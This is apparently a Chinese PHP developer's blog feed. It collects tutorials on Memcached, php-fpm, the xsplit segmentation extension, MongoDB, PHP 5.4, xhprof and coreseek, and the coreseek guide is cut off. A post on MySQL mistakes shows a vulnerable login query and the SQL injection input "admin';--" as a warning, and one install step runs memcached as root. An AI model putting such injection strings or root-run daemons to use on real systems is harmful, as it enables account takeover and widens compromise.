Warning: require(test1aaa.php) [function.require]: failed to open stream: No such file or directory in D:\WebSite\test.php on line 2

Fatal error: require() [function.require]: Failed opening required ‘test1aaa.php’ (include_path=’.;C:\php5\pear’) in D:\WebSite\test.php on line 2

现在就能很清楚的知道include和require的区别：include引入文件的时候，如果碰到错误，会给出提示，并继续运行下边的代码，require引入文件的时候，如果碰到错误，会给出提示，并停止运行下边的代码。

小马歌 2013-12-25 20:53 发表评论

安装Memcached和Memcached PHP扩展【转】

小马歌 — Fri, 27 Sep 2013 06:25:00 GMT

Memcached资源很容易混淆,所以我打包好了.
下载地址: http://www.euphie.net/downloads/memcached.tar.gz
下载后解压,里面有几个包:
1.memcached-1.4.15 //Memcached服务端.
2.memcached-2.1.0 //PHP的Memcached扩展,其实Memcached扩展有两种,还有一种叫Memcache,不过Memcached比Memcache功能更强大.
3.libevent-2.0.21-stable //Memcached服务端的依赖包.
4.libmemcached-1.0.16 //Memcached扩展的依赖包.

一,安装Libevent

#cd libevent-2.0.21-stable #./configure -prefix=/usr/local/libevent #make #make install

二,安装Memcached服务端

#cd memcached-1.4.15 #./configure -prefix=/usr/local/memcached  -with-libevent=/usr/local/libevent #make #make install

三,启动Memcached服务

#/usr/local/memcached/bin/memcached -d -m 50  -u root -p 12000 -c 256 -P /tmp/memcached.pid

注:
-d选项是启动一个守护进程，
-m是分配给Memcache使用的内存数量，单位是MB.
-u是运行Memcache的用户.
-l是监听的服务器IP地址,我这里没有填.
-p是设置Memcache监听的端口.
-c选项是最大运行的并发连接数,默认是1024,按照你服务器的负载量来设定.
-P是设置保存Memcache的pid文件.

四,安装Libmemcached

#cd libmemcached-1.0.16 #./configure -prefix=/usr/local/libmemcached  -with-memcached=/usr/local/memcached/bin/memcached #make #make install

注:
如果报”./libmemcached-1.0/memcached.h:46:27: error: tr1/cinttypes: No such file or directory”错误,则需要升级gcc版本.

五,安装Memcached PHP扩展

#cd memcached-2.1.0 找到phpize和php-config的路径,我的分别是/usr/local/bin/phpize和/usr/bin/php-config. #/usr/local/bin/phpize #./configure --with-php-config=/usr/bin/php-config  --with-libmemcached-dir=/usr/local/libmemcached #make #make install 安装成功后会生成memcached.so,把路径加到php.ini的extension=xxx里.

小马歌 2013-09-27 14:25 发表评论

Linux中的php-fpm作为服务安装

小马歌 — Thu, 26 Sep 2013 04:14:00 GMT

服务脚本在 sapi/fpm/init.d.php-fpm

cp sapi/fpm/init.d.php-fpm /etc/rc.local/init.d/php-fpm

chmod +x /etc/rc.local/init.d/php-fpm

chkconfig --add php-fpm

小马歌 2013-09-26 12:14 发表评论

xsplit A PHP extension for Chinese segmentation using MMSEG algorithm[zz]

小马歌 — Tue, 13 Aug 2013 09:35:00 GMT

from:https://code.google.com/p/xsplit/
一点历史

这个project大约是09年初开始做的，很快就形成了现在版本的样子，后陆续做了一些小修改和修复了一些小bug，现整理了一下决定发布。把它open source的主要原因，就是希望这个小工具能对大家有用，并且能够参与进来一起把它做的更好

20101025

Change Log

20130509 0.0.9 released fixed an issue when compiler uses strict type checking

20101108 0.0.8 beta，加入xs_simhash和xs_hdist函数，分别计算simhash和汉明距离。

关于xsplit的交流，请到xsplit贴吧： http://tieba.baidu.com/f?kw=xsplit 参与讨论。

xsplit是一个PHP扩展，提供基于MMSEG算法的分词功能。目前只在linux下测试并部署过，希望有朋友可以帮忙编译提供windows下的dll。

xsplit只处理UTF8编码格式，如果是其他编码格式，请在使用前自行转换

xsplit主要有以下几个函数：

bool xs_build ( array $words, string $dict_file )

resource xs_open (string $dict_file [, bool $persistent])

array xs_split ( string $text [, int $split_method = 1 ［, resource $dictionary_identifier ］ ] )

mixed xs_search ( string $text ［, int $search_method [, resource $dictionary_identifer ] ］ )

string xs_simhash( string $text [, bool $isBinary] )

int xs_hdist( string $simhash1, string $simhash2 )

安装过程与一般的PHP扩展安装一样

$phpize

$./configure --with-php-config=/path/to/php-config

$make

$make install

php.ini中可以设置以下参数：

xsplit.allow_persisten = On

xsplit.max_dicts = 5

xsplit.max_persistent = 3

xsplit.default_dict_file = /home/xdict

xsplit.allow_persistent 是否允许加载持久词典

xsplit.max_dicts 允许同时打开的最大词典数目

xsplit.max_persistent 允许同时打开的最大持久词典数目

xsplit.default_dict_file 默认的词典，没有指定词典时会调用此词典

源码中有一个utils目录，包含

make_dict.php 提供命令行方式创建词典

xsplit.php 一个简单的示例文件

xdict_example.txt 一个文本词库的格式示例

make_dict.php的使用例子如下：

$php make_dict.php ./xdict_example.txt ./xdict.db

文本词库的格式请参考xdict_example.txt

bool xs_build (array $words, string $dict_file)

从$words数组建立名称为$dict_file的词典，若成功则返回true。$words数组的格式请参考示例，key为词语，value为词频。

例子如下：

$dict_file='dict.db';

$dwords['美丽']=100;

$dwords['蝴蝶']=100;

$dwords['永远']=100;

$dwords['心中']=100;

$dwords['翩翩']=100;

$dwords['飞舞']=100;

$dwords['翩翩飞舞']=10;

if(!xs_build($dwords, $dict_file)) {

die('建立词典失败！');

}

resource xs_open (string $dict_file [, bool $persistent])

打开一个词典文件，并返回一个resource类型的identifier。$persistent可以指定是否是持久化词典，持久化词典在这里可以理解为词典资源生命周期的不同，一般情况下$persistent=true或者默认缺省即可。在进行分词的时候，可以指定不同的词典。

$dict_file_1 = 'xdcit.db';

$dict_file_2 = 'mydict.db';

$dict1 = xs_open($dict_file);

xs_open($dict_file);

array xs_split ( string $text [, int $split_method = 1 ［, resource $dictionary_identifier ］ ] )

对文本进行分词，可以指定分词方法和词典。分词方法目前有两种，一个是MMSEG算法（默认），一个是正向最大匹配，分别用常量XS_SPLIT_MMSEG和XS_SPLIT_MMFWD表示。返回值是一个数组，包含所有切分好的词语。如果不指定词典，最后一次打开的词典将被使用。

$text="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";

$dict_file = 'xdict.db';

$dict_res = xs_open($dict_file);

$words = xs_split($text); /* 此处没有指定词典资源，默认使用最后一次打开的词典 */

$words1 = xs_split($text, XS_SPLIT_MMSEG, $dict_res);

mixed xs_search ( string $text ［, int $search_method [, $dictionary_identifer ] ］ ) 基于双数组trie树提供的一些功能，$search_method有四个常量表示：

XS_SEARCH_CP : darts的commonPrefixSearch封装，如果没有找到，返回false。

XS_SEARCH_EM : darts的exactMatchSearch封装，如果没有找到，返回false。

XS_SEARCH_ALL_SIMPLE : 按照词典返回所有词语词频总和，一个INT型数值。

XS_SEARCH_ALL_DETAIL : 按照词典返回所有词典的词频，并以数组形式返回每一个词语的详细统计。

如果不指定词典，最后一次打开的词典将被使用。

xs_open($dict_file);

$text="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";

$word='翩翩飞舞';

$result=xs_search($word, XS_SEARCH_CP); /* common prefix search */

var_dump($result);

$result=xs_search($word, XS_SEARCH_EM); /* exact match search */

var_dump($result);

$result=xs_search($text, XS_SEARCH_ALL_SIMPLE);

var_dump($result);

$result=xs_search($text, XS_SEARCH_ALL_DETAIL);

var_dump($result);

string xs_simhash( array $tokens [, bool $rawoutput] )

计算simhash。这里所有token权重都是1，$tokens的例子如array('在', '这个', '世界')。$rawoput默认为0，即返回simhash的hex string形式，如md5， sha1函数一样；如过$rawoput为真，返回一个8字节的字符串，这个字符串实际上是一个64 bits的整型数，uint64_t，在一些特殊情况下可以用到。

int xs_hdist（ string $simhash1, $string $simhash2)

计算汉明距离。

xs_open('xdict');

$text1="那只美丽的蝴蝶永远在我心中翩翩飞舞着。";

$text2="那只美丽的蝴蝶永远在我心中翩翩飞舞。";

$tokens1=xs_search($text1, XS_SEARCH_ALL_INDICT); /* 去掉标点等特殊符号，经过实验，计算simhash时，一些标点、换行、特殊符号等对效果影响较大 */

$tokens2=xs_search($text2, XS_SEARCH_ALL_INDICT);

$simhash1=xs_simhash($tokens1);

$simhash2=xs_simhash($tokens2);

echo "simhash1 is {$simhash1}\n";

echo "simhash2 is {$simhash2}\n";

$hamming_dist=xs_hdist($simhash1, $simhash2);

echo "bit-wise format:\n";

echo decbin(hexdec($simhash1)), "\n";

echo decbin(hexdec($simhash2)), "\n";

echo "hamming distance is {$hamming_dist}\n";

Terms - Privacy

小马歌 2013-08-13 17:35 发表评论

【转】淘宝TFS分布式文件系统 + php接口

小马歌 — Thu, 15 Nov 2012 04:43:00 GMT

摘要: 2012-05-05 01:15:57| 分类：分布式文件系统 | 标签：淘宝tfs tfs tfs分布式文件系统分布式文件系统 |字号订阅from:http://blog.163.com/a12333a_li/blog/stati... 阅读全文

小马歌 2012-11-15 12:43 发表评论

MongoDB的php应用开发 [转]

小马歌 — Mon, 25 Jun 2012 09:13:00 GMT

一、连接数据库主机

连接本地主机，端口为27017:

$connection = new Mongo();

连接远程主机，端口为默认端口:

$connection= new Mongo( "192.168.2.1" );

连接远程主机，端口为指定端口:

$connection = new Mongo( "192.168.2.1:65432" );

选择数据库，如果指定的数据库不存在，则会自动创建一个新的数据库，有2种方法：

$db = $connection->selectDB('dbname');

或

$db = $connection->dbname;

选择集合(collection)，与使用关系型数据库中的表类似，有2种方法：

$collection = $db->selectCollection('people');

或

$collection = $db->people;

二、插入新文档(document)

collection对象用来执行信息管理，例如，想存储一个关于某人的信息，可以如下编码：

$person = array(

'name' => 'Cesar Rodas',

'email' => 'crodas@php.net',

'address' => array(

array(

'country' => 'PY',

'zip' => '2160',

'address1' => 'foo bar'

array(

'country' => 'PY',

'zip' => '2161',

'address1' => 'foo bar bar foo'

'sessions' => 0,

);

$safe_insert = true;

$collection->insert($person, $safe_insert);

$person_identifier = $person['_id'];

其中：

$safe_insert参数用于等待MongoDB完成操作，以便确定是否成功，默认值为false,当有大量记录插入时使用该参数会比较有用。

插入新文档后，MongoDB会返回一个记录标识。

三、更新文档

例如，更新上面已经创建的个人信息，增加sessions属性值，在第1个address处增加address2属性，删除第2个address，代码如下：

首先，定义一个filter(过滤器)告诉MongoDB要更新一个指定的文档

$filter = array('email' => 'crodas@php.net');

$new_document = array(

'$inc' => array('sessions' => 1),

'$set' => array(

'address.0.address2' => 'Some foobar street',

'$unset' => array('address.1' => 1),

);

$options['multiple'] = false;

$collection->update(

$filter,

$new_document,

$options

);

MongoDB也支持批量更新，与关系型数据库类似，可以更新给定条件的所有文档，如果想这么做的话，就需要设置options的multiple的值为true.

四、查询文档

定义一个符合给定标准的条件过滤器，通过使用查询选择器来获取文档。

例，通过e-mail address来获取信息：

$filter = array('email' => 'crodas@php.net');

$cursor = $collection->find($filter);

foreach ($cursor as $user)

{

var_dump($user);

}

例，获取sessions大于10的信息：

$filter = array('sessions' => array('$gt' => 10));

$cursor = $collection->find($filter);

例，获取没有设置sessions属性的信息：

$filter = array(

'sessions' => array('$exists' => false)

);

$cursor = $collection->find($filter);

例，获取地址在PY并且sessions大于15的信息：

$filter = array(

'address.country' => 'PY',

'sessions' => array('$gt' => 10)

);

$cursor = $collection->find($filter);

有一个重要的细节需要注意，只有当需要结果的时候查询才会被执行，在第1个例子中，当foreach循环开始时，查询才被执行。

这是个很有用的特性，因为这可以通过在游标(cursor)中增加选项来取回结果，恰好在定义查询后，执行查询前这个时刻。例如，可以设置选项来执行分页，或者获取指定数目的匹配的文档。

$total = $cursor->total();

$cursor->limit(20)->skip(40);

foreach($cursor as $user) {

}

五、获取文档的聚类

MongoDB支持结果的聚类，类似于关系数据库，可以使用count,distinct和group等聚类操作。

聚类查询返回数组(array)，而不是整个文档对象。

分组操作允许定义用Javascript编写的MongoDB服务器端功能，该操作执行分组属性。因为可以执行许多带有分组值的操作类型，所以会更灵活，但是相比SQL执行例如SUM(),AVG()等

简单的分组操作来说，这还是有些困难。

下面这个例子演示了如何获取国家的的地址列表，以及匹配地址的国家出现的次数：

$countries = $collection->distinct(

array("address.country")

);

$result = $collection->group(

array("address.country" => True),

array("sum" => 0),

"function (obj, prev) { prev.sum += 1; }",

array("session" => array('$gt' => 10))

);

六、删除文档

删除文档与获取或更新文档很类似。

$filter = array('field' => 'foo');

$collection->remove($filter);

要注意，默认所有符合条件的文档都会被删除，如果只想删除符合条件的第1个文档，那么在给remove函数的第二个参数赋值为true。

七、索引支持

有一个很重要的特点，使得决定选择MongoDB，而不是选择其它的类似的面向文档的数据库，这个特点就是对索引的支持，这和关系型数据库的表索引很类似，并不是所有的面向文档的数据库都

提供内置的索引支持。

使用MongoDB的创建索引功能可以避免在查询期间在所有文档中进行操作，这就象关系数据库中使用索引来避免全表查询一样。这可以加速那些涉及到索引属性的符合条件的文档的查询。

例如，如果想在e-mail地址属性上建立唯一的索引，如下所示：

$collection->ensureIndex(

array('email' => 1),

array('unique' => true, 'background' => true)

);

第1个数组参数描述将要成为索引的所有属性，可以是1个或多个属性。

默认情况下，索引的创建是一个同步操作，所以，如果文档数目很大的话，把索引的创建放在后台运行会是个好主意，就象上面例子所演示的。

只有一个属性的索引可能不够用，下面这个例子演示如何通过在2个属性上定义索引来加速查询。

$collection->ensureIndex(

array('address.country' => 1, 'sessions' => 1),

array('background' => true)

);

每个索引的值定义了索引的顺序：1表示降序(descending），-1表示升序(ascending)

索引顺序在有排序选项的查询优化中是有用的，如下例所示：

$filter = array(

'address.country' => 'PY',

);

$cursor = $collection->find($filter)->order(

array('sessions' => -1)

);

$collection->ensureIndex(

array('address.country' => 1, 'sessions' => -1),

array('background' => true)

);

八、实际应用

一些开发人员可能害怕使用一种新型的数据库，因为它和他们以前工作中用过的那些不同。

在理论上学习新事物不同于在实践中学习如何使用，所以，这部分内容将通过比较基于SQL的关系型数据库，比如MySQL，来解释如何用MongoDB来开发实际应用，这样就可以熟悉这两种途径

的不同。

例如，我们将构建一个blog系统，有用户，提交和评论功能。在使用关系型数据库的时候，你可以象下面这样通过定义表模式来实现它。

在MongoDB中实现同样的文档定义如下：

$users = array(

'username' => 'crodas',

'name' => 'Cesar Rodas',

);

$posts = array(

'uri' => '/foo-bar-post',

'author_id' => $users->_id,

'title' => 'Foo bar post',

'summary' => 'This is a summary text',

'body' => 'This is the body',

'comments' => array(

array(

'name' => 'user',

'email' => 'foo@bar.com',

'content' => 'nice post'

)

);

你可能注意到，我们只用一个文档就代替了posts和comments两个表，这是因为comments是post文档的子文档。这样做使实现更简单，在你想存取发布内容和它的评论时，会节省查询数据库的时间。

为了更简洁，用户所做评论的细节可以和评论的定义合并，所以你可以用一个查询来获取所发布的内容，评论和用户这些信息。

$posts = array(

'uri' => '/foo-bar-post',

'author_id' => $users->_id,

'author_name' => 'Cesar Rodas',

'author_username' => 'crodas',

'title' => 'Foo bar post',

'summary' => 'This is a summary text',

'body' => 'This is the body',

'comments' => array(

array(

'name' => 'user',

'email' => 'foo@bar.com',

'comment' => 'nice post'

)

);

这意味着会存在一些重复信息，但现在磁盘空间比CPU的RAM要便宜得多，以空间换时间，网站访问者的耐心和时间更重要。如果你关注重复信息的同步，那么在更新author信息的时候，你可以执行下面这个更新查询来解决这个问题。

$filter = array(

'author_id' => $author['_id'],

);

$data = array(

'$set' => array(

'author_name' => 'Cesar D. Rodas',

'author_username' => 'cesar',

)

);

$collection->update($filter, $data, array(

'multiple' => true)

);

以上是我们对数据模型的转换和优化，下面将重写一些用在MongoDB中的和SQL等价的查询。

SELECT * FROM posts

INNER JOIN users ON users.id = posts.user_id

WHERE URL = :url;

SELECT * FROM comments WHERE post_id = $post_id;

首先，增加索引：

$collection->ensureIndex(

array('uri' => 1),

array('unique' => 1, 'background')

);

$collection->find(array('uri' => ''));

INSERT INTO comments(post_id, name, email, contents)

VALUES(:post_id, :name, :email, :comment);

$comment = array(

'name' => $_POST['name'],

'email' => $_POST['email'],

'comment' => $_POST['comment'],

);

$filter = array(

'uri' => $_POST['uri'],

);

$collection->update($filter, array(

'$push' => array('comments' => $comment))

);

SELECT * FROM posts WHERE id IN (

SELECT DISTINCT post_id FROM comments WHERE email = :email

);

首先，增加索引：

$collection->ensureIndex(

array('comments.email' => 1),

array('background' => 1)

);

$collection->find( array('comments.email' => $email) );

九、用MongoDB存储文件

MongoDB也提供许多超过基本数据库操作的特点。例如，它提供了在数据库中存储小文件和大文件的解决方案。

文件被自动分块(块)。如果MongoDB运行在自动分片(auto-sharded)环境，文件块也会被跨多个服务器复制。

有效地解决文件的存储是一个相当困难的问题，尤其是当你需要管理大量的文件时。把文件保存在本地文件系统中通常不是个好的方案。

一个困难的例子是YouTube必须有效地服务那些上百万视频的小图片，或者由Facebook为数十亿图片提供的高效运行服务。

MongoDB通过创建两个内部集合(collections)来解决这个问题：文件集合保存关于文件元数据的信息，块集合保存关于文件块的信息。

如果你想存储一个大的视频文件，你可以使用如下这样的代码：

$metadata = array(

"filename" => "path.avi",

"downloads" => 0,

"comment" => "This file is foo bar",

"permissions" => array(

"crodas" => "write",

"everybody" => "read",

)

);

$grid = $db->getGridFS();

$grid->storeFile("/file/to/path.avi", $metadata);

正如你所看到的，这很简单且容易理解。

十、Map-Reduce

Map-Reduce是一种处理大量信息的操作手段。map操作应用于每个文档并产生一套新的key-value数据对。reduce操作使用map功能产生的结果并产生基本每个key的单一结果。

MongoDB Map-Reduce功能可以应用到集合上用于数据转换，这和Hadoop很类似。

当map处理完成后，结果被保存并且通过键值(key value)被分组。对每个结果键(key)，使用2个参数来调用reduce功能：键(key)及其所有值的数组。

为了更好地理解它的工作原理，我们假设有了前面定义过的blog的提交文档，接下来你想使每个提交的内容有一系列的tag，如果你想获得关于这些tag的统计情况，你只需要像下面这样计算一下即可：

首先定义map和reduce功能代码，

$map = new MongoCode("function () {

var i;

for (i=0; i < this.tags.length; i++) {

emit(this.tags[i], {count: 1});

}

}");

$reduce = new MongoCode("function (key, values) {

var i, total=0;

for (i=0; i < values.length; i++) {

total = values[i].count;

}

return {count: total}

}");

然后执行map-reduce命令:

$map_reduce = array(

'out' => 'tags_info',

'verbose' => true,

'mapreduce' => 'posts',

'map' => $map,

'reduce' => $reduce,

);

$information = $db->command($map_reduce);

var_dump($information);

如果MongoDB运行在切片(sharded)环境，那么这个数据处理功能将会在所有shard节点上并行。

要知道执行map-reduce处理通常是很慢的。它的目的是把大量的数据分布在许多服务器上。所以，如果你有许多服务器，你就可以把这个操作分布在这些服务器上进行处理并获得结果，这会比在一台服务器上运行所需的时间要少得多。

建议在后台运行map-reduce处理，因为它们需要花比较长的时候才能完成。在这种情况下，如果通过Gearman来异步管理启动它是个不错的方法。

十一、Auto-sharding

在前面多次提到sharding，但你可能并不熟悉这个概念。

Data sharding是一种把数据分布在多个服务器上的数据库技术手段。

MongoDB只需要很少的配置就可完成auto-sharding。然而，安装和配置一个shard已超出本文章的范围。

下面这张图展示了工作在shard环境中的MongoDB,这样你会在你使用sharding时都发生了什么有个了解。

十二、其它

正则表达式使用面面的格式：

"//"

和SQL语句中的 username LIKE '%bar%'等价的方式如下：

$filter = array(

'username' => new MongoRegex("/.*bar.*/i"),

);

$collection->find($filter);

在使用Regex时要小心，大多时候它不能使用索引，因此它将对整个数据扫描，所以比较好的方法是对文档的数目进行限制。

$filter = array(

'username' => new MongoRegex("/.*bar.*/i"),

'karma' => array('$gt' => 10),

);

$collection->find($filter);

使用Regex可以完成如下这个复杂的查询：

$filter = array(

'username' => new MongoRegex("/[a-z][a-z0-9\_]+(\_[0-9])?/i"),

'karma' => array('$gt' => 10),

);

$collection->find($filter);

小马歌 2012-06-25 17:13 发表评论

PHP5.4新特性

小马歌 — Tue, 12 Jun 2012 05:22:00 GMT

PHP5.4正式前两天发布了，之前有看了一些PHP5.4主要特性相关文章，因此在这里小结一下。

其中好几点更新是由Laruence贡献的！本文部分内容也是源自Laruence的博客。

1. Buid-in web server
PHP5.4内置了一个简单的Web服务器，这样在做一些简单程序就方便多了，省去了环境配置的工作，特别对于初学者来说。
把当前目录作为Root Document只需要这条命令即可:

1	`$ php -S localhost:3300`

也可以指定其它路径：

1	`$ php -S localhost:3300 -t` `/path/to/root`

还可以指定路由：

1	`$ php -S localhost:3300 router.php`

参考：PHP: Build-in web server

2. Traits
Traits提供了一种灵活的代码重用机制，即不像interface一样只能定义方法但不能实现，又不能像class一样只能单继承。至于在实践中怎样使用，还需要深入思考。
官网的一个例子：

trait SayWorld {

public function sayHello() {

parent::sayHello();

echo "World!\n";

echo 'ID:' . $this->id . "\n";

}

class Base {

public function sayHello() {

echo 'Hello ';

}

class MyHelloWorld extends Base {

private $id;

public function __construct() {

$this->id = 123456;

}

use SayWorld;

}

$o = new MyHelloWorld();

$o->sayHello();

/*will output:

Hello World!

ID:123456

*/

参考：http://cn.php.net/manual/en/language.oop5.traits.php

3. Short array syntax
PHP5.4提供了数组简短语法：

1	`$arr` `= [1,'james',` `'james@fwso.cn'];`

4. Array dereferencing

function myfunc() {

return array(1,'james', 'james@fwso.cn');

}

我认为比数组简短语法更方便的是dereferencing，以前我们需要这样：

1 2	`$arr` `= myfunc();` `echo` `$arr[1];`

在PHP5.4中这样就行了：

1	`echo` `myfunc()[1];`

5. Upload progress
Session提供了上传进度支持，通过$_SESSION["upload_progress_name"]就可以获得当前文件上传的进度信息，结合Ajax就能很容易实现上传进度条了。

参考：http://www.laruence.com/2011/10/10/2217.html

6. JsonSerializable Interface
实现了JsonSerializable接口的类的实例在json_encode序列化的之前会调用jsonSerialize方法，而不是直接序列化对象的属性。
参考：http://www.laruence.com/2011/10/10/2204.html

7. Use mysqlnd by default
现在mysql, mysqli, pdo_mysql默认使用mysqlnd本地库，在PHP5.4以前需要:

1	`$./configure` `--with-mysqli=mysqlnd`

现在：

1	`$./configure` `--with-mysqli`

小马歌 2012-06-12 13:22 发表评论

在生产环境中使用php性能测试工具xhprof

小马歌 — Thu, 22 Mar 2012 06:53:00 GMT

xhprof是facebook开源出来的一个php性能测试工具，也可以称之为profile工具，这个词不知道怎么翻译才比较达意。跟之前一直使用的xdebug相比，有很多类似之处。以前对xdebug有一些记录还可以供参考，但是它的缺点是对性能影响太大，即便是开启了profiler_enable_trigger参数，用在生产环境中也是惨不忍睹，cpu立刻就飙到high。

而xhprof就显得很轻量，是否记录profile可以由程序控制，因此，用在生产环境中也就成为一种可能。在它的文档上可以看到这样一种用法：

以万分之一的几率启用xhprof，平时悄悄的不打枪。

if (mt_rand(1, 10000) == 1) {  xhprof_enable(XHPROF_FLAGS_MEMORY);  $xhprof_on = true; }

在程序结尾处调用方法保存profile

if ($xhprof_on) { // stop profiler  $xhprof_data = xhprof_disable(); // save $xhprof_data somewhere (say a central DB) ... }

也可以用register_shutdown_function方法指定在程序结束时保存xhprof信息，这样就免去了结尾处判断，给个改写的不完整例子：

if (mt_rand(1, 10000) == 1) {  xhprof_enable(XHPROF_FLAGS_MEMORY);  register_shutdown_function(create_funcion('', "$xhprof_data = xhprof_disable(); save $xhprof_data;")); }

至于日志，我暂时用的是最土的文件形式保存，定期清除即可。

BTW:xhprof生成的图形方式profile真是酷毙了，哪段代码成为瓶颈，一目了然。

小马歌 2012-03-22 14:53 发表评论

PHP程序员最常犯的11个MySQL错误

小马歌 — Thu, 22 Mar 2012 02:03:00 GMT

对于大多数web应用来说，数据库都是一个十分基础性的部分。如果你在使用PHP，那么你很可能也在使用MySQL—LAMP系列中举足轻重的一份子。

对于很多新手们来说，使用PHP可以在短短几个小时之内轻松地写出具有特定功能的代码。但是，构建一个稳定可靠的数据库却需要花上一些时日和相关技能。下面列举了我曾经犯过的最严重的11个MySQL相关的错误（有些同样也反映在其他语言/数据库的使用上）。。。

1、使用MyISAM而不是InnoDB

MySQL有很多数据库引擎，但是你最可能碰到的就是MyISAM和InnoDB。

MySQL 默认使用的是MyISAM。但是，很多情况下这都是一个很糟糕的选择，除非你在创建一个非常简单抑或实验性的数据库。外键约束或者事务处理对于数据完整性是非常重要的，但MyISAM都不支持这些。另外，当有一条记录在插入或者更新时，整个数据表都被锁定了，当使用量增加的时候这会产生非常差的运行效率。

结论很简单：使用InnoDB。

2、使用PHP的mysql函数

PHP自产生之日就提供了MySQL库函数（or near as makes no difference）。很多应用仍然在使用类似mysql_connect、mysql_query、mysql_fetch_assoc等的函数，尽管PHP手册上说：

如果你在使用MySQL v4.1.3或者更新版本，强烈推荐使用您使用mysqli扩展。

mysqli（MySQL的加强版扩展）有以下几个优点：

可选的面向对象接口
prepared表达式，这有利于阻止SQL注入攻击，还能提高性能
支持更多的表达式和事务处理
另外，如果你想支持多种数据库系统，你还可以考虑PDO。

3、没有处理用户输入

这或者可以这样说#1：永远不要相信用户的输入。用服务器端的PHP验证每个字符串，不要寄希望与JavaScript。最简单的SQL注入攻击会利用如下的代码：

$username = $_POST["name"]; $password = $_POST["password"]; $sql = "SELECT userid FROM usertable WHERE username='$username' AND password='$password';"; // run query...

只要在username字段输入“admin';--”，这样就会被黑到，相应的SQL语句如下：

SELECT userid FROM usertable WHERE username='admin';

狡猾的黑客可以以admin登录，他们不需要知道密码，因为密码段被注释掉了。

4、没有使用UTF-8

美国、英国和澳大利亚的我们很少考虑除英语之外的其他语言。我们很得意地完成了自己的“杰作”却发现它们并不能在其他地方正常运行。

UTF-8解决了很多国际化问题。虽然在PHP v6.0之前它还不能很好地被支持，但这并不影响你把MySQL字符集设为UTF-8。

5、相对于SQL，偏爱PHP

如果你接触MySQL不久，那么你会偏向于使用你已经掌握的语言来解决问题，这样会导致写出一些冗余、低效率的代码。比如，你不会使用MySQL自带的AVG()函数，却会先对记录集中的值求和然后用PHP循环来计算平均值。

此外，请注意PHP循环中的SQL查询。通常来说，执行一个查询比在结果中迭代更有效率。

所以，在分析数据的时候请利用数据库系统的优势，懂一些SQL的知识将大有裨益。

6、没有优化数据库查询

99%的PHP性能问题都是由数据库引起的，仅仅一个糟糕的SQL查询就能让你的web应用彻底瘫痪。MySQL的EXPLAIN statement、Query Profiler，还有很多其他的工具将会帮助你找出这些万恶的SELECT。

7、不能正确使用数据类型

MySQL提供了诸如numeric、string和date等的数据类型。如果你想存储一个时间，那么使用DATE或者DATETIME类型。如果这个时候用INTEGER或者STRING类型的话，那么将会使得SQL查询非常复杂，前提是你能使用INTEGER或者STRING来定义那个类型。

很多人倾向于擅自自定义一些数据的格式，比如，使用string来存储序列化的PHP对象。这样的话数据库管理起来可能会变得简单些，但会使得MySQL成为一个糟糕的数据存储而且之后很可能会引起故障。

8、在查询中使用*

永远不要使用*来返回一个数据表所有列的数据。这是懒惰：你应该提取你需要的数据。就算你需要所有字段，你的数据表也不可避免的会产生变化。

9、不使用索引或者过度使用索引

一般性原则是这样的：select语句中的任何一个where子句表示的字段都应该使用索引。

举个例子，假设我们有一个user表，包括numeric ID（主键）和email address。登录的时候，MySQL必须以一个email为依据查找正确的ID。如果使用了索引的话（这里指email），那么MySQL就能够使用更快的搜索算法来定位email，甚至可以说是即时实现。否则，MySQL就只能顺序地检查每一条记录直到找到正确的email address。

有的人会在每个字段上都添加索引，遗憾的是，执行了INSERT或者UPDATE之后这些索引都需要重新生成，这样就会影响性能。所以，只在需要的时候添加索引。

10、忘记备份！

虽然比较罕见，但是数据库还是有崩溃的危险。硬盘有可能损坏，服务器有可能崩溃，web主机提供商有可能会破产！丢失MySQL数据将会是灾难性的，所以请确保你已经使用了自动备份或者已经复制到位。

11、Bonus mistake-不考虑使用其他数据库

对于PHP开发人员来说，MySQL可能是使用最广泛的数据库系统，但并不是唯一的选择。PostgreSQL和Firebird是最强有力的竞争者：这个两者都是开源的，而且都没有被公司收购。微软提供了sql server Express，甲骨文提供了10g Express，这两者都是企业级数据库的免费版本。有时候，对于一个较小的web应用或者嵌入式应用，SQLite也不失为一个可行的替代方案。

小马歌 2012-03-22 10:03 发表评论

在centos5下为PHP安装coreseek全文检索引擎支持【转】

小马歌 — Fri, 16 Mar 2012 02:29:00 GMT

coreseek 是在Sphinx 基础上开发的全文检索软件, 具体介绍详见文尾 附录

=========================================================

一、 安装环境及介绍

1. 前提环境

系统环境：centos5

操作用户：root

文中粗体字为需用户输入的命令内容

2. 源码包准备

下载MMSEG 分词源码包

wget http://www.coreseek.cn/uploads/sources/mmseg3_0b3.tar.gz

下载coreseek 源码包

wget http://www.coreseek.cn/uploads/sources/csft3_0b4.tar.gz

解压缩源码包

tar -xzvf mmseg3_0b3.tar.gz

tar -xzvf csft3_0b4.tar.gz

3. 安装环境准备

安装g++ 编译环境

yum install g++

yum install gcc

yum install make

安装python 开发组件

yum install python

yum install python-dev

安装make

yum install make

4. 编译mmseg

cd mmseg.3.0b3/

./configure --prefix=/ var / eyou /mmseg

make

make install

5. 编译coreseek

cd csft3_0b4/

./configure --prefix=/ var / eyou /coreseek --with-python --with-mysql --with-mmseg-includes=/ var / eyou /mmseg/include/mmseg --with-mmseg-libs=/ var / eyou /mmseg/lib/

make & make install

此步安装完成后, 将在/ var / eyou / 下生成 coreseek 目录

coreseek 目录中有三个目录分别为bin 、 etc 、var

bin 中存有sphinx 用到的一些执行文件包括 indexer 索引建立 search 查询工具 searchd 查询服务器等

etc 中是配置文件，该目录中有一个sphinx.conf. disk ，这个相当于sphinx 的配置例子文件，我们以这个文件为蓝本，重新创建一个空白内容的sphinx.conf ，存放在 etc 下。

6. 创建dict 目录

创建字典目录：

mkdir /var/eyou/coreseek/dict/

产生字典步骤：

cd /root/soft/ mmseg.3.0b3/data

/var/eyou/mmseg/bin/mmseg -u unigram.txt

产生了unigram.txt.uni ，移到相应目录。

cp unigram.txt.uni /var/eyou/coreseek/dict/uni.lib

创建 / var / eyou /coreseek/dict/mmseg.ini

内容：

[mmseg]

merge_number_and_ascii=1;

number_and_ascii_joint=-;

compress_space=0;

seperate_number_ascii=1;

#merge_number_and_ascii: 字母和数字连续出现是非切分

#number_and_ascii_joint: 连接数字和字母可用的符号，如'-' '.' 等

#compress_space ：暂时无效

#seperate_number_ascii ：是否拆分数字，如 1988 -> 1/x 9/x 8/x 8/x

7. php 调用 sphinx api

通过官方API 调用Sphinx ，具体为：

